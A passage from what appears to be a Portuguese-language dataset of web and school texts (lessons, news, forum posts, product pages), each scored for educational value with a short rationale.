Xavante, que vivem no Mato Grosso e são conhecidos por suas cerimônias e rituais. + +Mas o que podemos aprender com os povos indígenas? Muita coisa! Eles nos mostram a importância de viver em harmonia com a natureza, de respeitar os mais velhos e de valorizar a comunidade. Por exemplo, a forma como eles cultivam a terra, sem agrotóxicos e respeitando os ciclos naturais, é um exemplo de sustentabilidade que podemos aplicar em nosso dia a dia. Além disso, a maneira como eles se organizam em aldeias, com decisões tomadas em conjunto e respeito à opinião de todos, é um exemplo de democracia e participação. + +É importante lembrar que os povos indígenas enfrentam muitos desafios, como a invasão de suas terras, o desmatamento, a falta de acesso à saúde e à educação. Mas eles resistem e lutam por seus direitos, mostrando a força da sua cultura e a importância de preservar a diversidade do Brasil. + +Que tal pesquisar sobre um povo indígena específico? Descobrir seus costumes, sua língua, sua história? Ao conhecer mais sobre os povos originários do Brasil, podemos valorizar sua cultura, respeitar seus direitos e construir um futuro mais justo e igualitário para todos. Afinal, a história do Brasil é a história de todos nós, e os povos indígenas fazem parte fundamental dessa história.",História,Povos indígenas,anos finais (6º ao 9º ano),"O trecho apresenta informações básicas e relevantes sobre os povos indígenas no Brasil (1 ponto). Aborda elementos pertinentes à educação, alinhados com parâmetros curriculares e introduz conceitos importantes (mais 2 pontos). O texto é claro, consistente e adequado para o ensino fundamental, apresentando um conteúdo educacional robusto (mais 1 ponto). O texto é de fácil compreensão, oferecendo insights profundos sobre o tema, sem incluir conteúdo complexo (mais 1 ponto).",5,1.0 +"Será que Aécio pensa que somos todos idiotas? +Realmente não sei o que é pior, a gravação da conversa de Aécio com Joesley ou o cinismo do discurso feito pelo senador mineiro no seu retorno ao senado federal +""Realmente não sei o que é pior, a gravação da conversa de Aécio com Joesley ou o cinismo do discurso feito pelo senador mineiro no seu retorno ao senado federal"", escreve o jornalista; ""Se o que ele fez não foi crime, por que a irmã dele e o primo estão em prisão domiciliar com tornozeleiras eletrônicas? Será que o senador acredita mesmo que somos todos idiotas?"". +Se os 2 milhões de reais que Aécio pediu a Joesley eram pela compra de um apartamento da família dele, por que o pagamento foi feito em dinheiro e não num deposito bancário ou em cheque administrativo? Era pra cometer outro crime, o de sonegação fiscal? +E por que Fred, primo de Aécio, repassou o dinheiro para Mendherson Souza Lima, ex-assessor do senador Zezé Perrella? E por que Aécio disse na gravação: ""Tem que ser um que a gente mata ele antes de fazer delação"" se referindo ao primo que iria receber o dinheiro? +E se Joesley era um réu confesso com centenas de crimes cometidos, por que Aécio, no encontro com o empresário, teve uma conversa de compadres? +Realmente não sei o que é pior, a gravação da conversa de Aécio com Joesley ou o cinismo do discurso feito pelo senador mineiro no seu retorno ao senado federal. +Se o que ele fez não foi crime, por que a irmã dele e o primo estão em prisão domiciliar com tornozeleiras eletrônicas? Será que o senador acredita mesmo que somos todos idiotas?",original,original,original,original,0,0.0 +"by TonyDeath » Thu Dec 23, 2010 12:48 pm +45/TU +Only monsters can enter combat with this champion. The champion and its +allies become flyers for one round of combat. +Card Combo (from the Sussman Zone ): If Bloodstone's Spectral Steed is cast on Lovely Colleen, only monsters can enter combat with her, which are instantly defeated. +Se Lovely Colleen fosse imune a feitiços ofencivos, mesmo assim poderia receber o feitiço nela? +Se o cara tem um campeão imune a feitiços e supondo que o poder dela não fosse derrotar um monstro! Ele poderia defende-la? Mas o feitiço não é jogado nele! Como fica? +Desculpe parecer meio idiota os ultimos posts, mas é que preciso me certificar de como jogam por aqui. Pq na verdade.... DEU MEDO! +Last edited by TonyDeath on Thu Dec 23, 2010 1:17 pm, edited 1 time in total. +by Denielbr » Thu Dec 23, 2010 1:16 pm +kra imunidade é uma coisa sempre ativa e é apenas pra poderes ofensivos, se não tiver especificando q tb é pra defensivo. Se a magia é ofensiva, logo Lovely Coleen ou qualquer outro campeão em jogo não sofreria com os efeitos dela. +A champion whose special ability grants him immunity to any card is immune only to the offensive powers of that particular card unless a defensive immunity is noted. +A champion’s immunities are always active, regardless of the order in which cards activate +by TonyDeath » Thu Dec 23, 2010 1:31 pm +Denielbr wrote: kra imunidade é uma coisa sempre ativa e é apenas pra poderes ofensivos, se não tiver especificando q tb é pra defensivo. Se a magia é ofensiva, logo Lovely Coleen ou qualquer outro campeão em jogo não sofreria com os efeitos dela. +Como disse o cataclisma uma vez! Só LI GROSELHA! +Ou você não entendeu ou entendeu e não soube se expressar. +A pergunta é. Se ela fosse imune a feitiços ofencivos, Poderia ela receber um feitiço ofencivo como esse do tópico em fase 3? Tendo em vista que o feitiço só vai conferir a ela habilidade de voar e somente monstros a bloqueiam? +Se você responder não, automaticamente tem que se supor que como o feitiço é nela, se fosse jogado então em outro campeão SEU, um que não fosse imune a feitiços ofencivos, não interessa se o defensor é imune a feitiços ofencivos ele não poderia defender, pois o feitiço não está nele e azar que ele não é um monstro. +Se você responder sim, pois o efeito é benéfico e na regra diz blá blá blá blá e em algum lugar diz mesmo, fica a pergunta se o oponente ainda poderia defender, tendo em vista que ele é imune. Mas o feitiço não está nele. +by LUCAL » Thu Dec 23, 2010 1:49 pm +Tony não importe se o feitiço está ou não no oponente, ele HAJE no oponente, impedindo o mesmo de defender se não for monstro, logo, se o kra for imune a feitiços ofensivos ele poderá defender. +by TonyDeath » Thu Dec 23, 2010 1:51 pm +Sim eu não discordo! É só uma checagem. Já que você respondeu essa e o outro. Se ela é imune ela pode receber o feitiço mesmo assim? +by Denielbr » Thu Dec 23, 2010 1:59 pm +como eu disse antes, imunidade está sempre ativa e seu efeito é pra todas as cartas ofensivas em jogo. Não importa se vc tacou no A ou B, a magia está em jogo, e tudo q for imune não é afetado por ela... pq se a magia foi jogada em seu campeão, parte do efeito dela ainda sim é no oponente, restringindo o campeão imune de ser usado na defesa... e não a Lovely Collen não poderá receber o feitiço se ela vier a ser imune... +by TonyDeath » Thu Dec 23, 2010 2:02 pm +Denielbr wrote: tony, +Se desprende disso. Seu campeão imune a feitiços ofencivos, Pode receber esse seu feitiço no seu passo 3? Sim ou não? Só isso. Esquece o oponente. +by TonyDeath » Thu Dec 23, 2010 2:06 pm +Olha só pq estou perguntando. +Pq esse feitiço é ofencivo? Pq claramente afeta outro player e o outro campeão que não vai poder bloquear. +Você ser imune impede que solte um feitiço ofencivo? Claro que não! +Só que nesse caso vc está soltando um feitiço em você mesmo no seu passo 3 o qual é ofencivo por atingir o outro oponente, não pq ele lhe causa danos. +Sendo assim vc é imune de receber ...",original,original,original,original,1,0.2 +"Fábio assumiu que causou os danos, porém negou ser o dono da droga-Fotos: Osvaldo Duarte +Fábio de Jesus da Silva de 31 anos morador na Vila São Braz, foi preso acusado de danos ao patrimônio público e por tráfico de drogas na noite de segunda-feira (29), no presídio semiaberto de Dourados. +De acordo com o boletim de ocorrência, o acusado ao tentar fuga causou danos no local em que estava, durante a ação agentes penitenciários notaram e vistoriaram a cela. Dentro de uma marmita foram encontrados uma lima e um parafuso e ainda um aparelho de celular e 14 porções de maconha. +Fábio foi encaminhado para a delegacia, ao ser questionado sobre os danos ele confessou, porém sobre a droga ele negou ser o dono.",original,original,original,original,1,0.2 +"A tensão mental é um fator limitante da produtividade numa época em que a carga física de trabalho é cada vez mais convertida em carga mental. À medida que avançamos nesta era da informação e da complexificação das suas redes, mais esta ideia do stress crónico enquanto fenómeno crescente, patologia, e motor de outras doenças, se torna clara. +O burnout é já considerado uma doença pela Organização Mundial de Saúde (OMS), caracterizando-se por um estado de esgotamento físico e mental causado pelo exercício de uma atividade profissional. Desde 1 de janeiro de 2022, o stress profissional entrou para a nova classificação internacional de doenças da OMS, com base nas conclusões de peritos de saúde de todo o mundo. +Como definir? +É uma resposta natural – fisiológica e comportamental – do organismo perante situações que nos façam sentir ameaçados, situações de grande pressão, ou situações que representem uma perturbação do nosso equilíbrio. +O stress pode ser definido como um estado de sofrimento emocional caracterizado por sintomas de depressão e ansiedade, por vezes associados a queixas físicas. +O stress pode ser positivo? +O fenómeno provoca reações químicas no organismo que levam a reações fisiológicas. Até certo ponto, trata-se de uma estratégia de adaptação do nosso organismo relativamente a mudanças, exigências e constrangimentos que surjam. Essas alterações no organismo podem ser positivas, como por exemplo: se alguém está a passar por períodos de pressão no trabalho, o cérebro percebe e responde com alterações que ajudarão o indivíduo a concluir as suas atividades com eficiência. Em diversas circunstâncias pode levar-nos a agir positivamente, a combater a letargia e também a defender-nos de perigos. Porém, se o stress persistir por muito tempo, as alterações benéficas passam a ser prejudiciais, manifestando-se no organismo de forma patológica. +A evolução do fenómeno +Em tempos primitivos, aquilo que representava uma ameaça, como por exemplo enfrentar um animal feroz, implicava uma reação física rápida. A explicação está no conjunto de reações automáticas que ocorrem com a ajuda do Sistema Nervoso Autónomo Simpático, que, ao libertar hormonas como a adrenalina e cortisol, prepara o organismo para a ação (luta, fuga ou congelamento) e seria fundamental para assegurar a sobrevivência da espécie. +Nos nossos dias, a hipótese de sermos confrontados com ameaças radicais à sobrevivência física é bastante reduzida, e é bem mais provável que o nosso stress surja de uma situação no contexto de trabalho, de um exame na escola, de relações pessoais difíceis, das horas passadas no trânsito ou de um pensamento perturbador persistente. +No entanto, o nosso corpo reage, na prática, da mesma forma primitiva. Os escapes de luta ou fuga são quase inexistentes e isso implica que não damos uso às referidas hormonas do stress, que continuam a circular no organismo, mantendo-nos em alerta máximo. Consequentemente, o Sistema Nervoso Autónomo Parassimpático não é ativado, o que poderá levar a uma constante hiperestimulação do Sistema Nervoso Simpático, originando problemas como insónias, dores de cabeça, tensão alta, cansaço, irritabilidade, diabetes tipo 2 e muitos outros. +Mindfulness: uma via para combater o stress +Este problema generalizou-se, pelo menos, desde as duas últimas décadas do século passado. Os conselhos dos especialistas, para além das regras base de uma vida saudável – como o respeito pelas horas de sono, a prática de exercício físico regular e a manutenção de relações sociais saudáveis –, recomendam práticas cujos benefícios estão comprovados, como o yoga, a meditação ou o mindfulness. +Esta prática passou a fazer parte da medicina comportamental/preventiva, principalmente a partir dos estudos de redução de stresse de Jon Kabat-Zinn, professor emérito da faculdade de Massachussets (EUA), que tem desenvolvido, desde 1979, intensa pesquisa científica da aplicação do mindfulness na saúde, em especial do programa de MBSR (Minfulness-Based Stres...",original,original,original,original,4,0.8 +"O mercado de trabalho para pessoas com deficiência teve um avanço significativo nos últimos anos, seja pela força das leis voltadas para esse segmento, pela fiscalização por parte do Ministério do Trabalho ou pela visão mais inclusiva de empresas que enxergam na inclusão uma oportunidade de desenvolvimento tanto para o profissional com deficiência quanto para toda a organização. +De acordo com dados mais recentes da Rais (Relação Anual de Informações Sociais), o Brasil tem aproximadamente 403,2 mil trabalhadores com deficiência ocupando vagas de empregos formais. Ainda há muito a ser conquistado, mas as leis existentes servem como um grande impulso para que os candidatos encontrem uma oportunidade de emprego e sejam inseridos no mercado de trabalho. +Confira abaixo as principais leis e decretos para pessoas com deficiência no que se relaciona ao mercado de trabalho: +O principal papel da Lei de Cotas e da fiscalização é servir como instrumento de conscientização, já que a obrigatoriedade de contratar pessoas com deficiência contribui para a criação de um mercado de trabalho inclusivo e democrático, pensado para todos. +Confira a Lei de Cotas completa, com todos os seus artigos, clicando aqui! +Lei Brasileira de Inclusão da Pessoa com Deficiência: +Confira a Lei Brasileira de Inclusão completa, com todos os seus artigos, clicando aqui! +O Decreto 3.298, de 20 de dezembro de 1999, regulamenta a Lei nº 7.853/89 (também conhecida como Lei dos Portadores de Deficiência) e define os contornos da expressão “pessoas portadoras de deficiência”, caracterizando o que vem a ser deficiência, deficiência permanente ou incapacidade da seguinte forma: +Deficiência: toda perda ou anormalidade de uma estrutura ou função psicológica, fisiológica ou anatômica que gere incapacidade para o desempenho de atividade, dentro do padrão considerado normal para o ser humano; +Deficiência permanente: aquela que ocorreu ou se estabilizou durante um período de tempo suficiente para não permitir recuperação ou ter probabilidade de que se altere, apesar de novos tratamentos; +Incapacidade: uma redução efetiva e acentuada da capacidade de integração social, com necessidade de equipamentos, adaptações, meios ou recursos especiais para que a pessoa portadora de deficiência possa receber ou transmitir informações necessárias ao seu bem-estar pessoal e ao desempenho de função ou atividade a ser exercida. ² +Tais definições permitiram que Lei de Cotas pudesse ser melhor aplicada pelas empresas e pelo Ministério do Trabalho, uma vez que delimitam quais são as pessoas com deficiência que se enquadram na legislação. O decreto assegura “respeito e igualdade de oportunidades na sociedade por reconhecimento dos direitos, sem privilégios ou paternalismos, assim como a inclusão das pessoas com deficiência, respeitadas as suas peculiaridades, em todas as políticas públicas e dimensões sociais”. +Lei nº 10.048/2000 – garante atendimento prioritário às pessoas com deficiência ou com mobilidade reduzida; +Lei nº 10.098/2000 – estabelece normas e critérios para a promoção da acessibilidade às pessoas com deficiência. +Para o mercado de trabalho, o Decreto redefiniu quais tipos de deficiência podem ser contemplados pela Lei de Cotas. Isso porque, até então, as empresas buscavam por candidatos com deficiências mais leves para preencher a cota legal em seu quadro de funcionários. +Uma das redefinições mais relevantes foi o foco na inclusão de pessoas com deficiências consideradas mais severas nas empresas, além da inserção do nanismo pela primeira vez na legislação. Dessa forma, profissionais com deficiência visual em apenas um olho ou com deficiência auditiva também em apenas um ouvido, passaram a não ser mais contemplados pela cota. O mesmo se aplica a trabalhadores com perdas leves de audição. +Trata-se de um tratado internacional específico para as pessoas com deficiência, aprovado em Assembleia Geral da Organização das Nações Unidas em dezembro de 2006. Até o momento, a Convenção da ONU tem 1...",original,original,original,original,4,0.8 +"VESTIDO DE FESTA NUDE 2018 - Madrinhas de Casamento +VESTIDO DE FESTA NUDE 2018 +Lembro de quando lá no comecinho do site eu postava vestidos nude e algumas leitoras comentavam que achavam sem graça e apagado. Anos depois parece que o jogo virou não é mesmo? Sinônimo de elegância o nude é uma cor que foi ganhando cada vez mais espaço na moda festa e hoje em dia são pouquíssimas as pessoas que não gostam da cor. Acredito que isso aconteceu muito em parte graças a enorme cartela de tons nudes que nos deu a possibilidade de ecada uma encontrar o seu tom de nude. Aquele que cai perfeitamente em sua pele e que não vai te deixar apagada ou estranha. +Todo mundo pode usar vestido de festa nude, de madrinha de casamento a formanda. só tem que tomar cuidado com tos tons mais claros (em caso de dúvida consulte a noiva). Por isso mesmo, fiz uma seleção com alguns vestidos em tons de nude, nos mais variados tons e modelos. +VESTIDO DE FESTA NUDE 2018: FOTOS, MODELOS E TENDÊNCIAS +01- Vestido Do meu closet pro seu. A mistura de rosé e nude deu tão certo que mereceu três fotos para vocês poderem ver todos os detalhes. +02- Também da loja Do meu Closet pro seu este vestido é para as fãs de renda,em especial a guipir. +02- Com detalhes em vinho este vestido é um espetáculo a parte ( e o tom ficou ótimo na pele da modelo). É a Loja Livia Ribeiro, contato no 32.98886-3223 +03- A combinação de nude com preto também fica linda! Este vestido é da Conscious, o contato de lá é no email contato@conscious.com.br ou Watsapp o 11-99316-7115 +04- Também da Conscious modelo nude bordado, contato no email contato@conscious.com.br ou Watsapp o 11-99316-7115 +05-Nude claríssimo o modelo da Dolps +06- Não consegui ter certeza se este modelo da Agilità é um nude ou um tom de rosado. Como acho que seja nude entrou no post (um modelo lindo deste não poderia ficar de fora não é mesmo?) . Os vestidos Agilità são vendidos em multimarcas de todo país. +07- Ultra luxuoso e glamouroso este vestido da Vogue Casa de Moda é um tom mais escuro, puxado para o fendi. Na minha opinião ta,bém enytra na cartela de nudes. +Aqui tem um outro post só com vestidos de festa nude. +Marcadores: casamento diurno, casamento noturno, formatura, longo, longos, nude",original,original,original,original,1,0.2 +"Os hospitais como toda a edificação, devem ser projetados pensando no bem estar dos seus usuários, desse modo os revestimentos devem ser adequados ao uso que lhes será destinado. Ao se especificar os revestimentos de pisos para os ambientes hospitalares deve ser levado em consideração o risco de contaminação a que esse tipo de local […]",original,original,original,original,2,0.4 +"A tuberculose matou 1,6 milhões de pessoas em 2017, segundo a OMS. Mata mais do que a AIDS e malária juntas. Pesquisadores do Brasil e da Suíça tentam descobrir o segredo genético da bactéria e assim, formas de combater a multirresistência. Porém a crise e cortes na ciência são hoje um grande obstáculo. +Este conteúdo foi publicado em 24. outubro 2018 - 12:45 24. outubro 2018 - 12:45 +Alexander Thoele +Alexander Thoele é de origem alemã e brasileira e ingressou na swissinfo.ch em 2002. Nascido no Rio de Janeiro, concluiu seus estudos de jornalismo e informática em Brasília e Stuttgart. +Mais artigos do autor(a) | Redação em português +Alexander Thoele, Rio de Janeiro e Recife +Outras línguas: 9 (pt original) +Deutsch (de) Forscher vereint zur Ausrottung einer tödlichen Krankheit +Español (es) Investigadores unidos contra una enfermedad mortal +中文 (zh) 科研人员为根除绝症携手合作 +عربي (ar) باحثون سويسريون وبرازيليون يَتَّحِدون للقضاء على مرضٍ فتّاك +Français (fr) Des chercheurs unis pour éradiquer une maladie mortelle +Pусский (ru) Ученые Швейцарии и Бразилии в борьбе против туберкулеза +English (en) Swiss-Brazilian disease research faces uncertain future +日本語 (ja) 「死の病」結核の根絶目指し、グローバルに結束する研究者たち +Italiano (it) Ricercatori uniti per sradicare una malattia mortale +Pesquisa da tuberculose: símbolo de risco biológico mostra que essa é uma área de segurança no Laboratório no Centro de Referência Professor Hélio Fraga, no Rio de Janeiro. (imagem: Alexander Thoele) swissinfo.ch +Uma das bactérias mais perigosas do mundo está depositada em tubos de ensaio em um discreto laboratório, localizado às margens de Jacarepaguá, um bairro da Zona Oeste do município do Rio de Janeiro. Em uma imagem de microscópio ela parece até bastante inofensiva: minúsculos bastões vermelhos sobre uma solução azul turquesa. ""São vários exemplares da micobactéria Mycobacterium tuberculosisLink externo, o agente causador da tuberculose, explica o pesquisador Jesus Pais Ramos, coordenador do Centro de Referência Professor Hélio FragaLink externo. +Criado em 1984 pelo governo brasileiro, o Centro de Referência Professor Hélio Fraga é uma instituição nacional de referência do sistema de saúde público para tuberculose e outras pneumopatias. Além de tratar pessoas com suspeita de estarem doentes com tuberculose, também recebe amostras de micobactérias enviadas de todas as partes do Brasil. O país está entre os 30 mais atingidos pela tuberculoseLink externo. Em 2017 foram registrados 86.858 casos. Pouco mais de cinco mil pessoas morreram no mesmo ano por causa da doença, segundo a OMS. +Mata mais que Aids e malária +Segundo o último relatórioLink externo anual da Organização Mundial da Saúde (OMSLink externo), essas bactérias já infectaram 1,7 bilhão de pessoas, ou 23% da população mundial, pelo menos de forma latente. Isso significa que elas correm o risco de desenvolver a doença em algum momento da sua vida. Em 2017, 10 milhões de pessoas adoeceram de tuberculoseLink externo e 1,6 milhões, morreram, sendo que 300 mil delas eram HIV-positivas. É uma doença que mata mais do que AIDS e malária juntos. +End of insertion +Área de risco biológico +Os pacientes chegam no início da manhã. Os pacientes chegam no início da manhã, alguns deles fazem a coleta de escarro. O que escarram é colocado em recipientes e depois depositados em uma caixa de alta segurança chamada ""pass-through"". Laboratoristas pegam então as amostras e levam para aparelhos especiais que farão a análise do material. O perigo se esconde nos detalhes. +""Não apenas queremos descobrir se a amostra deu resultado positivo, mas também se a pessoa está infectada com uma bactéria multirresistente ou até algo que desconhecemos"", explica Jesus, apontando para a tela do computador, onde um programa faz o sequenciamento genético molecular da bactéria, exibida com curvas coloridas sobre letras que representam os genes. +Para visitar o Laboratório do Centro de Referência em Jacarepaguá é necessário assinar um documento se comprometendo a respeitar rígidas n...",original,original,original,original,4,0.8 +"<% var rat_name = rates[i].name; var rates_price = rates[i].price.trim(); var rates_day = rates[i].delivery_days[0]; var msg_price = rates_price != ""R$ 0,00"" ? rates_price : ""Grátis""; var msg_day = rates_day > 1 ? ""dias utéis"": ""dia útil""; ms_day = rates_price != ""R$ 0,00"" ? ""- ""+ rates_day +"" ""+ msg_day : """"; %> +- Entrega em - dia(s) útil(eis) +Descrição: +Adorno de parede com sino de cobre artesanal, faixas de sari variadas e vibrantes e laço de suspensão de sari torcido. Devido à natureza reciclada do material sari usado neste produto, espere variações nas cores e padrões. +A fabricação de sinos é um antigo ofício indiano, tradicionalmente usado pelos agricultores para identificar os animais, cada sino é feito à mão para produzir um som distinto. Feitos de metal reciclado, artesãos da região do deserto Kutch moldam sinos à mão e os revestem em pó de latão e cobre. Cada sino rústico é então ajustado para revelar um som rico e único como nenhum outro sino 🔔 +Estes adornos são lindos para pendurar perto de janelas ou na varanda pois o ventinho faz com que se possa escutar um barulhinho bom 🎶 +Detalhes: +Feito a mão na Índia +Tamanho - Comprimento: 55cms, Largura: 45cms +Fair Trade (Comércio justo) +Sustentável +História do nosso Parceiro: +A Matr Boomie é um negócio social da Índia com certificação de Comércio Justo e que combina a sensibilidade do design moderno com formas de arte tradicionais inspiradoras, aproximando pessoas e culturas. +Foi fundada em 2006 com a missão de criar oportunidades para mulheres e minorias realizarem seu potencial criativo, econômico e de liderança. Desde então, expandiram a rede para capacitar 20.000 artesãos em 40 comunidades parceiras em toda a Índia. +Produtos Semelhantes +Menu +Busca +Fale Conosco +Política de Privacidade +Trocas e Devoluções +Trabalhe Conosco +Decore com Etnias Mundi +Sobre nós +A Etnias Mundi é uma loja de produtos feitos a mão por grupos de artesãos ao redor do mundo. Nossos produtos são feitos com amor, de forma ética e contam a estória de diferentes povos e etnias.",original,original,original,original,2,0.4 +"Olá, pequenos historiadores! Já pensaram em como sabemos o que aconteceu antes de nascermos? É como se tivéssemos um mapa gigante do tempo, chamado linha do tempo. Imagine uma régua muito, muito comprida, onde marcamos os acontecimentos importantes, desde o passado mais distante até os dias de hoje. + +A linha do tempo é uma ferramenta super legal para entendermos a ordem das coisas. Pensem na vida de vocês: primeiro, vocês nasceram, depois aprenderam a andar, começaram a ir para a escola e agora estão aqui, lendo sobre a linha do tempo! Cada uma dessas coisas pode ser colocada na linha do tempo da vida de vocês. É como organizar fotos em um álbum, só que em vez de fotos, colocamos eventos. + +E não é só a nossa vida que tem uma linha do tempo! A história do Brasil, do mundo, dos dinossauros… tudo pode ser organizado assim. Por exemplo, podemos criar uma linha do tempo da nossa escola: quando ela foi fundada, quando construíram a biblioteca, quando plantaram aquela árvore enorme no pátio. Isso nos ajuda a entender como a escola mudou e cresceu ao longo dos anos. + +Vamos imaginar a história do Brasil: primeiro, os povos indígenas já viviam aqui. Depois, chegaram os portugueses. Depois, o Brasil se tornou independente. Cada um desses momentos tem o seu lugar na linha do tempo do nosso país. Entender essa ordem nos ajuda a compreender como o Brasil se tornou o que é hoje. + +Mas quem decide o que entra na linha do tempo? Bem, geralmente escolhemos os eventos mais importantes ou aqueles que nos ajudam a entender melhor a história. É como escolher as fotos mais bonitas para o álbum! + +A linha do tempo não precisa ser perfeita, o importante é que ela nos ajude a organizar as ideias e a entender como as coisas aconteceram. Que tal criar uma linha do tempo da sua família? Você pode perguntar aos seus pais e avós sobre os momentos mais importantes da vida deles e colocar tudo em ordem. Será uma aventura incrível descobrir o passado e entender como ele influenciou o presente! + +E aí, preparados para viajar no tempo e explorar a história através da linha do tempo? Lembrem-se: cada um de nós faz parte dessa história e tem o poder de construir um futuro ainda melhor!",História,Linha do tempo,anos iniciais (1º ao 5º ano),"O texto introduz o conceito de linha do tempo de forma clara e envolvente, adequada para o ensino fundamental, utilizando exemplos práticos e relacionáveis à vida dos alunos. Apresenta a utilidade da ferramenta para organizar eventos históricos e pessoais, incentivando a pesquisa e o aprendizado de forma lúdica. A linguagem é acessível e o conteúdo é relevante para o currículo de história, tornando-o valioso para fins educacionais.",5,1.0 +"Já parou para pensar em quantas vezes usamos medidas no nosso dia a dia? Seja para saber se o sofá cabe na sala, para calcular o tempo até o próximo jogo ou para preparar aquela receita deliciosa, as medidas e grandezas estão sempre presentes. Mas, afinal, o que são essas medidas e como elas nos ajudam a entender o mundo ao nosso redor? Vamos embarcar juntos nessa aventura matemática! + +Medir significa comparar algo com uma unidade padrão. Imagine que você quer saber a altura de um amigo. Você pode usar uma régua, que tem centímetros e metros como unidades de medida, para comparar a altura dele com essas unidades. O resultado dessa comparação é a medida da altura do seu amigo. As grandezas, por sua vez, são tudo aquilo que pode ser medido, como comprimento, massa (o famoso “peso”), tempo, temperatura e volume. Cada grandeza tem suas próprias unidades de medida. Por exemplo, o comprimento pode ser medido em metros, centímetros ou quilômetros, enquanto o tempo pode ser medido em segundos, minutos ou horas. + +No nosso dia a dia, usamos diferentes instrumentos para medir as grandezas. Para medir o tempo, usamos relógios e calendários. Para medir a massa, usamos balanças. Para medir o comprimento, usamos réguas, trenas e fitas métricas. Cada instrumento tem sua própria precisão e é importante escolher o instrumento certo para cada situação. Imagine, por exemplo, que você precisa medir o comprimento de um campo de futebol. Usar uma régua seria muito demorado e cansativo! Nesse caso, uma trena seria a melhor opção. + +As medidas também nos ajudam a resolver problemas e tomar decisões. Se você quer comprar um novo videogame, precisa saber o tamanho da sua TV para escolher um modelo compatível. Se você está planejando uma viagem, precisa calcular a distância entre as cidades e o tempo de viagem para organizar o seu roteiro. As medidas nos dão informações importantes para planejar e executar diversas atividades. + +Além disso, entender as medidas e grandezas nos permite interpretar informações e dados de forma mais crítica. Quando vemos notícias sobre o aumento da temperatura global ou sobre a quantidade de chuva em uma região, precisamos entender as unidades de medida utilizadas para compreender a dimensão desses fenômenos. Por exemplo, saber a diferença entre graus Celsius e Fahrenheit nos ajuda a entender melhor as previsões do tempo de outros países. + +E você, já pensou em como as medidas influenciam suas decisões diárias? Que tal começar a prestar mais atenção nas medidas que aparecem no seu dia a dia? Observe as embalagens dos alimentos, os horários dos programas de TV, as distâncias nos mapas. Quanto mais você se familiarizar com as medidas e grandezas, mais fácil será entender o mundo ao seu redor e tomar decisões mais informadas. A matemática está em todos os lugares, basta saber onde procurar!",Matemática,Medidas e grandezas,anos finais (6º ao 9º ano),"O trecho apresenta uma excelente introdução ao tema de medidas e grandezas, conectando-o com situações do cotidiano, o que o torna relevante e acessível para alunos do ensino fundamental. A linguagem é clara e o conteúdo é bem estruturado, facilitando a compreensão. A progressão do texto, desde a definição básica até a aplicação em problemas e interpretação de dados, contribui para um aprendizado significativo. O estímulo à observação e reflexão sobre o uso das medidas no dia a dia reforça o valor educacional do trecho.",5,1.0 +"Lava-Jato em SP abre operação e investiga obras do Rodoanel - Politica - Estado de Minas +Lava-Jato em SP abre operação e investiga obras do Rodoanel +Haddad promete isentar IR de quem ganha até 5 salários e não recriar CPMF Confira a entrevista do candidato Alexandre Flach ao Estado de Minas Bolsonaro reage a intenção de Paulo Guedes criar 'nova CPMF' Procuradora pede imediata prisão do deputado João Rodrigues 'Espero que o Brasil acorde', diz Alvaro Dias sobre Haddad e Bolsonaro TRE-DF prepara 680 urnas eletrônicas para envio ao exterior Alexandre Flach e Jordano Metalúrgico serão os entrevistados de hoje no EM 'Intenção de voto a Bolsonaro já está no teto e tende a cair', diz Alckmin 'Praticamente já atingimos patamar para o 2º turno', diz Haddad em SP Maioria não quer fazer sacrifícios para ajudar País a sair da crise, diz Ibope Economistas confrontam representante do PT em debate sobre reforma trabalhista Pimentel diz que, se fosse ele o presidente, daria indulto a Lula 'Por mim, PSDB não teria participado do governo Temer', diz Alckmin Estaremos no segundo turno e vamos ganhar a eleição, afirma Alckmin em sabatina Fachin mantém execução de 27 anos de prisão do ex-vice da Mendes Júnior Teria muita dificuldade em apoiar Haddad ou Bolsonaro, diz Amoêdo Fundamental na área pública é capacidade de gestão, e não experiência, diz Amoedo BASTIDORES: confira quem acompanhou os candidatos no debate da Alterosa Ciro diz em entrevista que alterará política de preço da Petrobras Médicos vetam entrevista online de Jair Bolsonaro +postado em 21/06/2018 07:48 / atualizado em 21/06/2018 07:52 +São Paulo - A força-tarefa da Operação Lava-Jato em São Paulo abriu a Operação Pedra no Caminho nesta quinta-feira, 21, nas cidades de Ribeirão Preto, Bofete, Arujá, Carapicuíba (SP) e Marataízes (ES). O alvo da investigação são as obras do trecho Norte do Rodoanel Mário Covas. +11:18 - 15/06/2018 PF aponta propina a Funaro no Rodoanel de SP +12:54 - 31/05/2018 Rodoanel de SP teve sobrepreço de R$ 55 milhões, aponta TCU +18:43 - 19/12/2017 Cade diz que cartel elevou preço de obras do Rodoanel em até 25% +Esta fase da Operação Lava-Jato de São Paulo é fruto do trabalho conjunto entre Ministério Público Federal, Polícia Federal, Controladoria-Geral da União e Tribunal de Contas da União. +14:12 - 19/09/2018 - Compartilhe Haddad promete isentar IR de quem ganha até 5 salários e não recriar CPMF +13:50 - 19/09/2018 - Compartilhe Confira a entrevista do candidato Alexandre Flach ao Estado de Minas",original,original,original,original,1,0.2 +"Olá, estudantes! Já pararam para pensar por que o Brasil é um país tão rico em festas, comidas, danças e jeitos de ser diferentes? A resposta está na nossa população e na nossa cultura, que são super misturadas! + +Imagine que o Brasil é como uma grande panela onde foram colocados muitos ingredientes diferentes. Alguns desses ingredientes vieram de longe, como os europeus que chegaram aqui há muitos anos. Eles trouxeram sua língua, suas religiões e suas formas de construir casas. Outros ingredientes vieram da África, com os africanos que foram trazidos para o Brasil e que nos deixaram de herança a capoeira, o samba e muitas palavras que usamos no dia a dia. E não podemos esquecer dos nossos ingredientes originais, os indígenas, que já viviam aqui muito antes de todo mundo e que nos ensinaram sobre a natureza, sobre plantas medicinais e sobre como viver em harmonia com o meio ambiente. + +Essa mistura toda fez com que cada cantinho do Brasil tivesse um jeito especial de ser. No Nordeste, por exemplo, a gente encontra o forró e a culinária com muita influência africana. No Sul, a gente vê a cultura gaúcha, com seus costumes relacionados à vida no campo e à criação de gado. Em Minas Gerais, a culinária é famosa pelos seus queijos e doces, que são uma mistura das tradições portuguesas com os ingredientes locais. E na Amazônia, a gente encontra a cultura indígena muito forte, com seus rituais, sua arte e seu conhecimento sobre a floresta. + +Mas, e aí? O que tudo isso tem a ver com a população? Simples! A população brasileira é formada por pessoas de todas as origens, cores e crenças. E cada pessoa carrega consigo um pouco da história e da cultura dos seus antepassados. Por isso, quando a gente conhece alguém, a gente está conhecendo um pedacinho de toda essa história. + +É importante lembrar que nem sempre essa mistura foi fácil. Muitas vezes, as culturas diferentes foram tratadas de forma desigual, e algumas foram até mesmo proibidas de se manifestar. Mas, hoje em dia, a gente 